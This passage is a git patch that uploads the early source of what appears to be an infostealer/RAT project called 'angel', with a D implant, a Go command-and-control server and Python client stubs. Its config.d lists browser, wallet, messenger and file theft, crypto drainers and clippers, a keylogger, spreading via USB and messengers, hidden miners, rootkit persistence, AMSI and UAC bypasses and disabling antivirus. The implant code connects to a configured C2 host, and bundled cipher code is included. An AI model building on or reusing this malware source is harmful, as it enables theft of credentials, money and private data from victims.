From cd100b6904ba20b67bbe9fc6c21abe37fd5a668235a461cf017f34f353e4016e Mon Sep 17 00:00:00 2001 From: serpent256 Date: Mon, 22 Dec 2025 15:15:42 +0000 Subject: [PATCH] Upload files to "v1" --- v1/LICENSE.txt | Bin 0 -> 1024 bytes v1/README.txt | 1 + v1/agent.go | 18 + v1/angel.d | 76 +++ v1/anti_analysis.d | Bin 0 -> 1024 bytes v1/anti_debug.d | Bin 0 -> 1024 bytes v1/anti_vm.d | Bin 0 -> 1024 bytes v1/bitmanip.d | 416 +++++++++++++++ v1/blockcipher.d | 191 +++++++ v1/clean.d | 9 + v1/conf.go | 3 + v1/config.d | 213 ++++++++ v1/config.py | 2 + v1/conn.d | 58 +++ v1/conn.go | 43 ++ v1/conn.py | 18 + v1/constants.d | 36 ++ v1/constants.py | 17 + v1/consts.go | 11 + v1/controller.go | 7 + v1/cryptmeow.go | 23 + v1/cryptography.d | 148 ++++++ v1/curve25519.d | 136 +++++ v1/database.go | 22 + v1/dev.txt | 5 + v1/dub.json | 25 + v1/extra.go | 48 ++ v1/fieldelem.d | 1239 ++++++++++++++++++++++++++++++++++++++++++++ v1/go.mod | 8 + v1/go.sum | 4 + v1/handler.go | 36 ++ v1/init.d | 14 + v1/linux_core.d | Bin 0 -> 1024 bytes v1/logger.py | 18 + v1/logging.d | 58 +++ v1/logging.go | 69 +++ v1/main.go | 13 + v1/main.py | 24 + v1/mod.py | 11 + v1/parse.d | Bin 0 -> 1024 bytes v1/serpent.d | 1030 ++++++++++++++++++++++++++++++++++++ v1/threefish.d | 261 ++++++++++ v1/utils.d | 109 ++++ v1/windows_core.d | Bin 0 -> 1024 bytes 44 files changed, 4420 insertions(+) create mode 100644 v1/LICENSE.txt create mode 100644 v1/README.txt create mode 100644 v1/agent.go create mode 100644 v1/angel.d create mode 100644 v1/anti_analysis.d create mode 100644 v1/anti_debug.d create mode 100644 v1/anti_vm.d create mode 100644 v1/bitmanip.d create mode 100644 v1/blockcipher.d create mode 100644 v1/clean.d create mode 100644 v1/conf.go create mode 100644 v1/config.d create mode 100644 v1/config.py create mode 100644 v1/conn.d create mode 100644 v1/conn.go create mode 100644 v1/conn.py create mode 100644 v1/constants.d create mode 100644 v1/constants.py create mode 100644 v1/consts.go create mode 100644 v1/controller.go create mode 100644 v1/cryptmeow.go create mode 100644 v1/cryptography.d create mode 100644 v1/curve25519.d create mode 100644 v1/database.go create mode 100644 v1/dev.txt create mode 100644 v1/dub.json create mode 100644 v1/extra.go create mode 100644 v1/fieldelem.d create mode 100644 v1/go.mod create mode 100644 v1/go.sum create mode 100644 v1/handler.go create mode 100644 v1/init.d create mode 100644 v1/linux_core.d create mode 100644 v1/logger.py create mode 100644 v1/logging.d create mode 100644 v1/logging.go create mode 100644 v1/main.go create mode 100644 v1/main.py create mode 100644 v1/mod.py create mode 100644 v1/parse.d create mode 100644 v1/serpent.d create mode 100644 v1/threefish.d create mode 100644 v1/utils.d create mode 100644 v1/windows_core.d diff --git a/v1/LICENSE.txt b/v1/LICENSE.txt new file mode 100644 index 0000000000000000000000000000000000000000000000000000000000000000..8bd3cfb96947a08ee43646068b9143b25de674e85d7aa4785fccc12171994ad3 GIT binary patch literal 1024 ScmZQz7zLvtFd70QH3R?z00031 literal 0 HcmV?d00001 diff --git a/v1/README.txt b/v1/README.txt new file mode 100644 index 0000000..0c1fff4 --- /dev/null +++ b/v1/README.txt @@ -0,0 +1 @@ + diff --git a/v1/agent.go b/v1/agent.go new file mode 100644 index 0000000..9d08ba9 --- /dev/null +++ b/v1/agent.go @@ -0,0 +1,18 @@ +package conn + +import ( + "angel_server/consts" + "angel_server/cryptmeow" + "log/slog" + "net" +) + +func agent_impl(conn net.Conn, layer_id int) { + var publicKey, _ [32]byte = cryptmeow.Gen_keypair() + + _, err := conn.Write(publicKey[:]) + if err != nil { + consts.Logger.Error("failed to send public key", slog.String("error", err.Error())) + return + } +} \ No newline at end of file diff --git a/v1/angel.d b/v1/angel.d new file mode 100644 index 0000000..2c77bf5 --- /dev/null +++ b/v1/angel.d @@ -0,0 +1,76 @@ +module angel.main; + +// TODO optimize imports (only neccessary) +// TODO mutex check + execution timer +// TODO anti dbg +// TODO error handler ?? use auto, receive -> check for data, if none print result (err) +// TODO veh/vectored syscalls in suspended thread + +// Internal imports +import angel.utils.logging; +import angel.utils.constants; +import angel.utils.clean; +import angel.conn : Listener; + +//import angel.exfil.browser.browser; +import angel.utils.init; + +//import angel.utils.cryptography.threefish; +//import angel.utils.cryptography.aes; +import angel.utils.cryptography.serpent; +import angel.utils.cryptography.cryptography; +import angel.utils.cryptography.cryptography : Serpi, Freefishy; + +//import angel.utils.cryptography.gcm.gcm; +//import angel.utils.cryptography.aes; +import angel.utils.cryptography.threefish; + +import angel.config : config; + +//import angel.conn.vnc.vnc; +// External imports +import std.stdio; +import std.conv : to; +import core.thread.osthread; +import std.format; + +int main() +{ + init(); + + // ! Serpent implementation + + Cryptography.KeyPair keypair = Cryptography.derive_25519(config.server_pk); + + auto serp = new Serpi(keypair); + + auto lol = serp.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf"); + + Logger.log(LogLevel.Debug, lol.to!string); + + auto lol2 = serp.decrypt(lol); + + Logger.log(LogLevel.Debug, lol2.to!string); + + + // ! ThreeFish512 implementation + auto kiii = Threefish512.generateKey(); + auto tweaki = Threefish512.generateTweak(); + + Logger.log(LogLevel.Debug, format("Generated Key: %s", kiii)); + Logger.log(LogLevel.Debug, format("Generated Tweak: %s", tweaki)); + + auto fish = new Freefishy(kiii, tweaki); + + auto lol3 = fish.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf"); + + Logger.log(LogLevel.Debug, lol3.to!string); + + auto lol4 = fish.decrypt(lol3); + + Logger.log(LogLevel.Debug, lol4.to!string); + + new Listener(); + + return 0; +} diff --git a/v1/anti_analysis.d b/v1/anti_analysis.d new file mode 100644 index 0000000000000000000000000000000000000000000000000000000000000000..8bd3cfb96947a08ee43646068b9143b25de674e85d7aa4785fccc12171994ad3 GIT binary patch literal 1024 ScmZQz7zLvtFd70QH3R?z00031 literal 0 HcmV?d00001 diff --git a/v1/anti_debug.d b/v1/anti_debug.d new file mode 100644 index 0000000000000000000000000000000000000000000000000000000000000000..8bd3cfb96947a08ee43646068b9143b25de674e85d7aa4785fccc12171994ad3 GIT binary patch literal 1024 ScmZQz7zLvtFd70QH3R?z00031 literal 0 HcmV?d00001 diff --git a/v1/anti_vm.d b/v1/anti_vm.d new file mode 100644 index 0000000000000000000000000000000000000000000000000000000000000000..8bd3cfb96947a08ee43646068b9143b25de674e85d7aa4785fccc12171994ad3 GIT binary patch literal 1024 ScmZQz7zLvtFd70QH3R?z00031 literal 0 HcmV?d00001 diff --git a/v1/bitmanip.d b/v1/bitmanip.d new file mode 100644 index 0000000..09d67ea --- /dev/null +++ b/v1/bitmanip.d @@ -0,0 +1,416 @@ +module angel.utils.cryptography.bitmanip; + +import std.traits; +/// +/// This module contains several methods to convert integer types into byte arrays +/// and vice versa. +/// +/// + +alias rotateLeft rol; +alias rotateRight ror; + +/// rot shift to the left +/// Params: +/// x = integer to shift +/// shiftAmount = number of bits to shift +@safe +@nogc +T rotateLeft(T)(T x, uint shiftAmount) pure nothrow +{ + enum nbits = T.sizeof*8; + //shiftAmount %= nbits; + return cast(T)(x << shiftAmount) | (x >>> (nbits-shiftAmount)); +} + +/// test rotateLeft +unittest { + ubyte b0 = 0b10000001; + ubyte b1 = 0b00000011; + ubyte b2 = 0b00000110; + ubyte b7 = 0b11000000; + + assert(rotateLeft(b0,0) == b0); + assert(rotateLeft(b0,1) == b1); + assert(rotateLeft(b0,2) == b2); + assert(rotateLeft(b0,7) == b7); + assert(rotateLeft(b0,8) == b0); +} + +/// rot shift to the right +/// Params: +/// x = integer to shift +/// shiftAmount = number of bits to shift +@safe +@nogc +T rotateRight(T)(T x, uint shiftAmount) pure nothrow +{ + enum nbits = T.sizeof*8; + //shiftAmount %= nbits; + return cast(T)((x >>> shiftAmount) | (x << (nbits-shiftAmount))); +} + +/// test rotateRight +unittest { + ubyte b0 = 0b00000101; + ubyte b1 = 0b10000010; + ubyte b2 = 0b01000001; + ubyte b7 = 0b00001010; + + assert(rotateRight(b0,0) == b0); + assert(rotateRight(b0,1) == b1); + assert(rotateRight(b0,2) == b2); + assert(rotateRight(b0,7) == b7); + assert(rotateRight(b0,8) == b0); +} + + +/** + Converts big endian bytes to integral of type T + Params: bs = the big endian bytes + Returns: integral of type T + */ +@safe @nogc +T fromBigEndian(T)(in ubyte[] bs) if (isIntegral!T) +in { + assert(bs.length >= T.sizeof, "input buffer too short"); +} +body { + version(BigEndian) { + // data is already in memory as we want + return (cast(const T[])bs)[0]; + }else { + Unqual!T n = 0; + static if (T.sizeof >= short.sizeof) { + n |= bs[0]; + n <<= 8; + n |= bs[1]; + } + static if (T.sizeof >= int.sizeof) { + n <<= 8; + n |= bs[2]; + n <<= 8; + n |= bs[3]; + } + static if (T.sizeof == long.sizeof) { + n <<= 8; + n |= bs[4]; + n <<= 8; + n |= bs[5]; + n <<= 8; + n |= bs[6]; + n <<= 8; + n |= bs[7]; + } + + return n; + } +} + +/** + Converts little endian bytes to integral of type T + Params: bs = the little endian bytes + Returns: integral of type T + */ +@safe @nogc +T fromLittleEndian(T)(in ubyte[] bs) if (isIntegral!T) +in { + assert(bs.length >= T.sizeof, "input buffer too short"); +} +body { + version(LittleEndian) { + // data is already in memory as we want + return (cast(const T[])bs)[0]; + }else { + Unqual!T n = 0; + static if (T.sizeof >= short.sizeof) { + n |= bs[0]; + n |= cast(T)bs[1] << 8; + } + static if (T.sizeof >= int.sizeof) { + n |= cast(T)bs[2] << 16; + n |= cast(T)bs[3] << 24; + } + static if (T.sizeof == long.sizeof) { + n |= cast(T)bs[4] << 32; + n |= cast(T)bs[5] << 40; + n |= cast(T)bs[6] << 48; + n |= cast(T)bs[7] << 56; + } + + return n; + } +} + +/** + Converts big endian bytes to integrals of type T + size of bs has to match the size in bytes of output + Params: + bs = the big endian bytes + output = where the T's get written to + */ +@safe @nogc +void fromBigEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T) +in { + assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array"); +} +body { + version(BigEndian) { + // short cut on big endian systems + const T[] casted = cast(const T[]) bs; + output[] = casted[]; + } else { + // for little endian systems + enum s = T.sizeof; + foreach (i; 0 .. output.length) + { + output[i] = fromBigEndian!T(bs[s*i .. s*i+s]); + } + } +} + +/** + Converts little endian bytes to integrals of type T + size of bs has to match the size in bytes of output + Params: + bs = the little endian bytes + output = where the T's get written to + */ +@safe @nogc +void fromLittleEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T) +in { + assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array"); +} +body { + version(LittleEndian) { + // short cut on little endian systems + const T[] casted = cast(const T[]) bs; + output[] = casted[]; + } else { + // for big endian systems + enum s = T.sizeof; + foreach (i; 0 .. output.length) + { + output[i] = fromLittleEndian!T(bs[s*i .. s*i+s]); + } + } +} + +/** + convert a integral type T into an array of bytes. + Params: + n = the number + output = the buffer to write the bytes to + */ +@safe @nogc +void toBigEndian(T)(in T val, ubyte[] output) if(isIntegral!T) +in { + assert(output.length >= T.sizeof, "output buffer too small"); +} +body { + Unqual!T n = val; + uint off = 0; + + static if(T.sizeof == long.sizeof) { + output[off] = cast (ubyte) (n >>> 56); + ++off; + output[off] = cast (ubyte) (n >>> 48); + ++off; + output[off] = cast (ubyte) (n >>> 40); + ++off; + output[off] = cast (ubyte) (n >>> 32); + ++off; + } + static if(T.sizeof >= int.sizeof) { + output[off] = cast (ubyte) (n >>> 24); + ++off; + output[off] = cast (ubyte) (n >>> 16); + ++off; + } + static if(T.sizeof >= short.sizeof) { + output[off] = cast (ubyte) (n >>> 8); + ++off; + } + output[off] = cast (ubyte) (n); +} + +/** + convert a integral type T into an array of bytes. + Params: + n = the number + output = the buffer to write the bytes to + */ +@safe @nogc +void toLittleEndian(T)(in T val, ubyte[] output) if(isIntegral!T) +in { + assert(output.length >= T.sizeof, "output buffer too small"); +} +body { + Unqual!T n = val; + output[0] = cast (ubyte) (n); + n >>>= 8; + static if(T.sizeof >= short.sizeof) { + output[1] = cast (ubyte) (n); + n >>>= 8; + } + static if(T.sizeof >= int.sizeof) { + output[2] = cast (ubyte) (n); + n >>>= 8; + output[3] = cast (ubyte) (n); + n >>>= 8; + } + static if(T.sizeof == long.sizeof) { + output[4] = cast (ubyte) (n); + n >>>= 8; + output[5] = cast (ubyte) (n); + n >>>= 8; + output[6] = cast (ubyte) (n); + n >>>= 8; + output[7] = cast (ubyte) (n); + } +} + +/** + convert a integral type T[] into an array of bytes. + Params: + ns = the numbers + output = the buffer to write the bytes to + */ +@safe @nogc +void toBigEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T) +in { + assert(output.length >= T.sizeof*ns.length, "output buffer too small"); +} +body { + version(BigEndian) { + // shortcut on BigEndian systems + const ubyte[] casted = cast(const ubyte []) ns; + output[] = casted[]; + }else{ + foreach(i, const T n; ns) { + toBigEndian!T(n, output[T.sizeof * i .. $]); + } + } +} + +/** + convert a integral type T[] into an array of bytes. + Params: + ns the numbers + output the buffer to write the bytes to + */ +@safe @nogc +void toLittleEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T) +in { + assert(output.length >= T.sizeof*ns.length, "output buffer too small"); +} +body { + version(LittleEndian) { + // shortcut on LittleEndian systems + const ubyte[] casted = cast(const ubyte []) ns; + output[] = casted[]; + }else{ + foreach(i, const T n; ns) { + toLittleEndian!T(n, output[T.sizeof * i .. $]); + } + } +} + +ubyte[T.sizeof] toBigEndian(T)(in T n) pure nothrow @nogc + if(isIntegral!T) +{ + ubyte[T.sizeof] bs; + toBigEndian!T(n, bs); + return bs; +} + +ubyte[] toBigEndian(T)(in T[] ns) if(isIntegral!T) +{ + ubyte[] bs = new ubyte[T.sizeof * ns.length]; + toBigEndian!T(ns, bs); + return bs; +} + + +ubyte[T.sizeof] toLittleEndian(T)(in T n) pure nothrow @nogc + if(isIntegral!T) +{ + ubyte[T.sizeof] bs; + toLittleEndian!T(n, bs); + return bs; +} + + +ubyte[] toLittleEndian(T)(in T[] ns) if(isIntegral!T) +{ + ubyte[] bs = new ubyte[T.sizeof * ns.length]; + toLittleEndian!T(ns, bs); + return bs; +} + +unittest { + + // int + assert(toBigEndian(0x01020304) == [0x01,0x02,0x03,0x04], "intToBigEndian failed"); + assert(toLittleEndian(0x01020304) == [0x04,0x03,0x02,0x01], "intToLittleEndian failed"); + + + // long + assert(toBigEndian(0x0102030405060708L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToBigEndian failed"); + assert(toLittleEndian(0x0807060504030201L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToLittleEndian failed"); + + // bigEndian to short, int, long + assert(fromBigEndian!ushort([0x01,0x02]) == 0x0102u); + assert(fromBigEndian!uint([0x01,0x02,0x03,0x04]) == 0x01020304u); + assert(fromBigEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0102030405060708UL); + + // littleEndian to short, int, long + assert(fromLittleEndian!ushort([0x02,0x01]) == 0x0102u); + assert(fromLittleEndian!uint([0x04,0x03,0x02,0x01]) == 0x01020304u); + assert(fromLittleEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0807060504030201UL); + + // bigEndian: convert multiple ints + uint[] output = new uint[2]; + immutable ubyte[] input = [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]; + fromBigEndian(input, output); + assert(output == [0x01020304u, 0x05060708u], "fromBigEndian(ubyte[] input, int[] output) failed"); + + // littleEndian: convert multiple ints + output = new uint[2]; + fromLittleEndian(input, output); + assert(output == [0x04030201u, 0x08070605u], "fromLittleEndian(ubyte[] input, int[] output) failed"); + + + immutable int i = 0xf1f2f3f4; + int iResult; + ubyte[] buf; + + // int to bigEndian + buf = new ubyte[4]; + toBigEndian!int(i, buf); + iResult = fromBigEndian!int(buf); + assert(i == iResult); + + // int to littleEndian + buf = new ubyte[4]; + toLittleEndian!int(i, buf); + iResult = fromLittleEndian!int(buf); + assert(i == iResult); + + + + immutable long l = 0xf1f2f3f4f5f6f7f8; + long lResult; + + // long to bigEndian + buf = new ubyte[8]; + toBigEndian!long(l, buf); + lResult = fromBigEndian!long(buf); + assert(l == lResult); + + // int to littleEndian + buf = new ubyte[8]; + toLittleEndian!long(l, buf); + lResult = fromLittleEndian!long(buf); + assert(l == lResult); +} \ No newline at end of file diff --git a/v1/blockcipher.d b/v1/blockcipher.d new file mode 100644 index 0000000..c0a55ca --- /dev/null +++ b/v1/blockcipher.d @@ -0,0 +1,191 @@ +module angel.utils.cryptography.blockcipher; + +/// Use this to check if type is a block cipher. +@safe +template isBlockCipher(T) +{ + enum bool isBlockCipher = + is(T == struct) && + is(typeof( + { + ubyte[0] block; + T bc = T.init; // Can define + string name = T.name; + uint blockSize = T.blockSize; + bc.start(cast(const ubyte[]) block, cast(const ubyte[]) block); // init with secret key and iv + uint len = bc.encrypt(cast (const ubyte[]) block, block); + bc.reset(); + })); +} + +/// OOP API for block ciphers +@safe +public interface IBlockCipher { + + + @safe public: + + /** + * Initialize the cipher. + * + * Params: + * forEncryption = if true the cipher is initialised for + * encryption, if false for decryption. + * userKey = A secret key. + * iv = A nonce. + */ + void start(in ubyte[] userKey, in ubyte[] iv = null) nothrow @nogc; + + /** + * Return the name of the algorithm the cipher implements. + * + * Returns: the name of the algorithm the cipher implements. + */ + @property + string name() pure nothrow; + + /** + * Return the block size for this cipher (in bytes). + * + * Returns: the block size for this cipher in bytes. + */ + @property + uint blockSize() pure nothrow @nogc; + + /** + * Process one block of input from the array in and write it to + * the out array. + * + * Params: + * input = the slice containing the input data. + * output = the slice the output data will be copied into. + * Throws: IllegalStateException if the cipher isn't initialised. + * Returns: the number of bytes processed and produced. + */ + @nogc + uint encrypt(in ubyte[] input, ubyte[] output) nothrow; + + @nogc + uint decrypt(in ubyte[] input, ubyte[] output) nothrow; + + /** + * Reset the cipher. After resetting the cipher is in the same state + * as it was after the last init (if there was one). + */ + @nogc + void reset() nothrow; +} + +/// Wraps block ciphers into the OOP API +@safe +public class BlockCipherWrapper(T) if(isBlockCipher!T): IBlockCipher { + + private T cipher; + + @safe public: + + /** + * Initialize the cipher. + * + * Params: + * forEncryption = if true the cipher is initialised for + * encryption, if false for decryption. + * params = the key and other data required by the cipher. + * + * Throws: IllegalArgumentException if the params argument is + * inappropriate. + */ + void start(in ubyte[] key, in ubyte[] iv = null) nothrow { + cipher.start(key, iv); + } + + /** + * Return the name of the algorithm the cipher implements. + * + * Returns: the name of the algorithm the cipher implements. + */ + @property + string name() pure nothrow { + return cipher.name; + } + + /** + * Return the block size for this cipher (in bytes). + * + * Returns: the block size for this cipher in bytes. + */ + @property + uint blockSize() pure nothrow @nogc { + return T.blockSize; + } + + /** + * Process one block of input from the array in and write it to + * the out array. + * + * Params: + * input = the slice containing the input data. + * output = the slice the output data will be copied into. + * Throws: IllegalStateException if the cipher isn't initialised. + * Returns: the number of bytes processed and produced. + */ + uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc { + return cipher.encrypt(input, output); + } + + uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc { + return cipher.decrypt(input, output); + } + + /** + * Reset the cipher. After resetting the cipher is in the same state + * as it was after the last init (if there was one). + */ + void reset() nothrow @nogc { + cipher.reset(); + } +} + +version(unittest) { + + // unittest helper functions + + import std.format: format; + + /// Runs decryption and encryption using BlockCipher bc with given keys, plaintexts, and ciphertexts + /// + /// Params: + /// keys = The encryption/decryption keys. + /// plaintexts = Plaintexts. + /// cipherTexts = Corresponding ciphertexts. + /// ivs = Initialization vectors. + /// + @safe + public void blockCipherTest(IBlockCipher bc, string[] keys, string[] plaintexts, string[] cipherTexts, string[] ivs = null) { + + foreach (uint i, string test_key; keys) + { + ubyte[] buffer = new ubyte[bc.blockSize]; + + + const ubyte[] key = cast(const ubyte[]) test_key; + const (ubyte)[] iv = null; + if(ivs !is null) { + iv = cast(const (ubyte)[]) ivs[i]; + } + + // Encryption + bc.start(key, iv); + bc.encrypt(cast(const ubyte[]) plaintexts[i], buffer); + + assert(buffer == cipherTexts[i], + format("%s failed to encrypt.", bc.name)); + + // Decryption + bc.start(key, iv); + bc.decrypt(cast(const ubyte[]) cipherTexts[i], buffer); + assert(buffer == plaintexts[i], + format("%s failed to decrypt.", bc.name)); + } + } +} \ No newline at end of file diff --git a/v1/clean.d b/v1/clean.d new file mode 100644 index 0000000..fa9cc38 --- /dev/null +++ b/v1/clean.d @@ -0,0 +1,9 @@ +module angel.utils.clean; + +// Internal imports +// External imports +import std.stdio; + +void clean() { + +} \ No newline at end of file diff --git a/v1/conf.go b/v1/conf.go new file mode 100644 index 0000000..909f07d --- /dev/null +++ b/v1/conf.go @@ -0,0 +1,3 @@ +package extra + +var Port int = 8080 \ No newline at end of file diff --git a/v1/config.d b/v1/config.d new file mode 100644 index 0000000..c5fc8e5 --- /dev/null +++ b/v1/config.d @@ -0,0 +1,213 @@ +module angel.config; + +// Internal imports +import angel.utils.constants; + +// External imports +import std.stdio; + +// bool -> possible values: 'true' or 'false' +// string -> possible values: character slice (use "" to define a slice) +// array - [] -> possible values: multiple character slices seperated by commas (inside) +struct Config +{ + struct Server + { + string host = "127.0.0.1"; // c2 ip + int port = 8080; // c2 port + int initializer = 0; + } + + bool debug_mode = true; + ubyte[] server_pk = [ + 0x63, 0x33, 0xa2, 0x5f, 0x48, 0xbb, 0x69, 0x8e, 0x1a, 0x90, 0x02, 0x83, + 0x20, 0xd2, 0x05, 0x6a, 0xa1, 0x6e, 0x37, 0x2e, 0xdd, 0x84, 0xb4, 0x06, + 0x20, 0xc8, 0xbc, 0xb6, 0x82, 0x17, 0x81, 0x51 + ]; // server public curve25519 key + + struct Antidbg + { + bool analysis = true; + bool dbg = true; + bool kill = false; + bool vm = false; + } + + bool fakeErr = false; + // remove Constants.Errmsg("[]") to use std err msg + Constants.Errmsg errmsg = Constants.Errmsg("custom err msg"); + + struct Exclude + { + string[] country = ["de", "ru"]; // country to exclude from stealing + string[] path = ["", ""]; // path to exclude from antivirus + string[] network = [""]; // disables access to specific network/web addresses + } + + struct Spread + { + bool local_network = true; + bool messenger = true; + bool mail = false; + } + + struct Infect + { + bool iso = true; + bool usb = true; + bool systemfil = true; + } + + struct Miner + { // choose from: 'gpu/cpu' + Constants.Coin xmr = Constants.Coin(1, "", ""); // (integer percentage, source device, wallet address) + Constants.Coin btc = Constants.Coin(1, "", ""); // example: (30, gpu, "0x62CeC6EAA79Ad549Bd010D13EdA4fDc796751823") + Constants.Coin ltc = Constants.Coin(1, "", ""); + Constants.Coin sol = Constants.Coin(1, "", ""); + Constants.Coin eth = Constants.Coin(1, "", ""); + } + + struct Exfil + { + bool applications = true; + + struct Browser + { + bool gecko = false; + bool chromium = true; + bool inject = false; + } + + Browser browser; + + struct Network + { + bool ftp = false; + bool ssh = false; + bool vpn = false; + bool proxy = false; + bool hook = false; + } + + Network network; + + struct Files + { + bool common = true; + bool important = true; + string[] commonFiles = [""]; + string[] importantFiles = [""]; // put file extensions here like txt, png, jpeg, kdbx, db etc. + } + + Files files; + + struct Games + { + bool accounts = true; + bool saves = false; + bool inject = true; + string savesize = ""; // max. local save size (M=megabytes, K=kilobytes, G=gigabytes), e.g. 120M + } + + Games games; + + struct Mail + { + bool client = true; + bool web = false; + bool inject = false; + } + + Mail mail; + + bool filterAccounts = false; + bool systemInformation = false; + bool porndetect = false; + + struct Wallet + { + bool seed = true; + + Constants.Address xmrDrainer = Constants.Address(""); + Constants.Address btcDrainer = Constants.Address(""); + Constants.Address ltcDrainer = Constants.Address(""); + Constants.Address solDrainer = Constants.Address(""); + Constants.Address ethDrainer = Constants.Address(""); + + Constants.Address xmrClipper = Constants.Address(""); + Constants.Address btcClipper = Constants.Address(""); + Constants.Address ltcClipper = Constants.Address(""); + Constants.Address ethClipper = Constants.Address(""); + Constants.Address solClipper = Constants.Address(""); + + bool inject = false; + } + + Wallet wallet; + + struct Messenger + { + bool messages = false; + bool login = true; + bool inject = false; + } + + Messenger messenger; + + bool snapshot = false; + bool screenshot = true; + } + + struct Conn + { + bool keylogger = true; + bool micrecord = false; + bool vidrecord = false; + string interval = ""; // integer + m = minutes, h = hours, d = days, example: 15m or 2h + } + + struct Persistence + { + string mode = ""; // bootkit, ring0 rootkit, registry, windows startup folder, app injection startup + // choose from: 'boot, kernel, reg, file, app' + } + + struct Privesc + { + bool fixExclusion = true; + bool disReagentC = true; + bool disEtw = true; + bool amsiBypass = true; + bool uacBypass = true; + bool destroyDef = false; + bool disableAv = false; + } + + struct Dropper + { + bool memLoad = true; // load into memory/run module + bool startup = false; // will use the same method as persistence + bool update = false; // scrape again every time from URL + string url = ""; // URL to scrape file from + } + + struct Dnsmanip + { + bool exclude = true; // excludes files from exclude struct to deny web access + } + + Server server; + Antidbg antidbg; + Exclude exclude; + Spread spread; + Infect infect; + Miner miner; + Exfil exfil; + Conn conn; + Persistence persistence; + Privesc privesc; + Dropper dropper; + Dnsmanip dnsmanip; +} + +Config config; diff --git a/v1/config.py b/v1/config.py new file mode 100644 index 0000000..ffb0451 --- /dev/null +++ b/v1/config.py @@ -0,0 +1,2 @@ +class Config: + serv_url: str = "127.0.0.1:7775" diff --git a/v1/conn.d b/v1/conn.d new file mode 100644 index 0000000..c534b5c --- /dev/null +++ b/v1/conn.d @@ -0,0 +1,58 @@ +module angel.conn; + +// Internal imports +import angel.utils.logging; +import angel.utils.constants; +import angel.config : config; + +// External imports +import std.socket; +import std.conv; +import std.format; +import std.stdio; + +class Listener +{ + private TcpSocket sock; + + this() + { + this.initialize(); + this.sockc(); + } + + private void initialize() + { + Logger.log(LogLevel.Debug, format("Establishing conn: %s:%s", config.server.host, config + .server.port)); + try { + this.sock = new TcpSocket(); + this.sock.connect(new InternetAddress(config.server.host, cast(ushort) config.server.port)); + } + catch (SocketOSException err) { + Logger.log(LogLevel.Error, format("Failed to establ conn: %s", err)); + this.sock = null; + } + catch (Exception err) { + Logger.log(LogLevel.Error, format("Unknown err occurred: %s", err)); + this.sock = null; + } + } + + private void sockc() + { + if (this.sock is null) { + Logger.log(LogLevel.Warning, "Cannot send data: No active connection."); + return; + } + + ubyte[] init_id = [to!ubyte(config.server.initializer)]; + try { + this.sock.send(init_id); + Logger.log(LogLevel.Event, "Initializer ID sent."); + } + catch (SocketOSException err) { + Logger.log(LogLevel.Error, format("Failed to send data: %s", err)); + } + } +} diff --git a/v1/conn.go b/v1/conn.go new file mode 100644 index 0000000..36ce3ea --- /dev/null +++ b/v1/conn.go @@ -0,0 +1,43 @@ +package conn + +import ( + "angel_server/consts" + "angel_server/extra" + "fmt" + "log/slog" + "net" + "os" + "os/signal" + "syscall" +) + +func Start_serv() { + consts.Logger.Info("Starting tcp listener...") + + ln, err := net.Listen("tcp", fmt.Sprintf(":%d", extra.Port)) + if err != nil { + consts.Logger.Error("Error occurred during server start:", slog.Any("error", err)) + return + } + defer ln.Close() + + stop := make(chan os.Signal, 1) + signal.Notify(stop, os.Interrupt, syscall.SIGTERM) + + go func() { + <-stop + consts.Logger.Info("Shutting down server...") + ln.Close() + os.Exit(0) + }() + + for { + conn, err := ln.Accept() + if err != nil { + consts.Logger.Error("Error accepting connection:", slog.Any("error", err)) + continue + } + + go handleConnection(conn) + } +} \ No newline at end of file diff --git a/v1/conn.py b/v1/conn.py new file mode 100644 index 0000000..d7e116b --- /dev/null +++ b/v1/conn.py @@ -0,0 +1,18 @@ +import socket + +from utils.logger import * +from config import * + + +class Conn: + def __init__(self): + log.info("Attempting to connect...") + self.connect() + + def connect(self): + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as self.s: + ip, port = Config.serv_url.split(":") + self.s.connect((ip, int(port))) + self.s.sendall("cont".encode("utf-8")) + data = self.s.recv(1024) + log.warning(data.decode("utf-8")) diff --git a/v1/constants.d b/v1/constants.d new file mode 100644 index 0000000..87576d4 --- /dev/null +++ b/v1/constants.d @@ -0,0 +1,36 @@ +module angel.utils.constants; + +// Internal imports +// External imports +import std.stdio; +import std.process; +import std.Path; + +class Constants { + public static string appdata; + public static string local_appdata; + public static string workdir; + public static string logFilePath; + + static this() { + appdata = environment.get("APPDATA"); + local_appdata = environment.get("LOCALAPPDATA"); + + workdir = buildPath(appdata, "Angel"); + logFilePath = buildPath(workdir, "angel.log"); + } + + struct Address { + string addr; + } + + struct Coin { + int percentage = 30; + string source = "gpu"; + string addr; + } + + struct Errmsg { + string msg = "The exception unknown software exception (0x0000409) occurred in the application at location 0x7FFDF3B6A3C.\n\nClick on OK to terminate the program"; + } +} \ No newline at end of file diff --git a/v1/constants.py b/v1/constants.py new file mode 100644 index 0000000..667e6e9 --- /dev/null +++ b/v1/constants.py @@ -0,0 +1,17 @@ +class Consts: + banner: str = """ + _ + \`*-. + ) _`-. + . : `. . + : _ ' \ + ; *` _. `*-._ + `-.-' `-. + ; ` `. + :. . \ + . \ . : .-' . + ' `+.; ; ' : + : ' | ; ;-. + ; ' : :`-: _.`* ; +[bug] .*' / .*' ; .*`- +' `*' + `*-* `*-* `*-*'""" diff --git a/v1/consts.go b/v1/consts.go new file mode 100644 index 0000000..7624d32 --- /dev/null +++ b/v1/consts.go @@ -0,0 +1,11 @@ +package consts + +import ( + "angel_server/logging" + "database/sql" +) + + + +var Logger = logging.GetLogger() +var Db *sql.DB \ No newline at end of file diff --git a/v1/controller.go b/v1/controller.go new file mode 100644 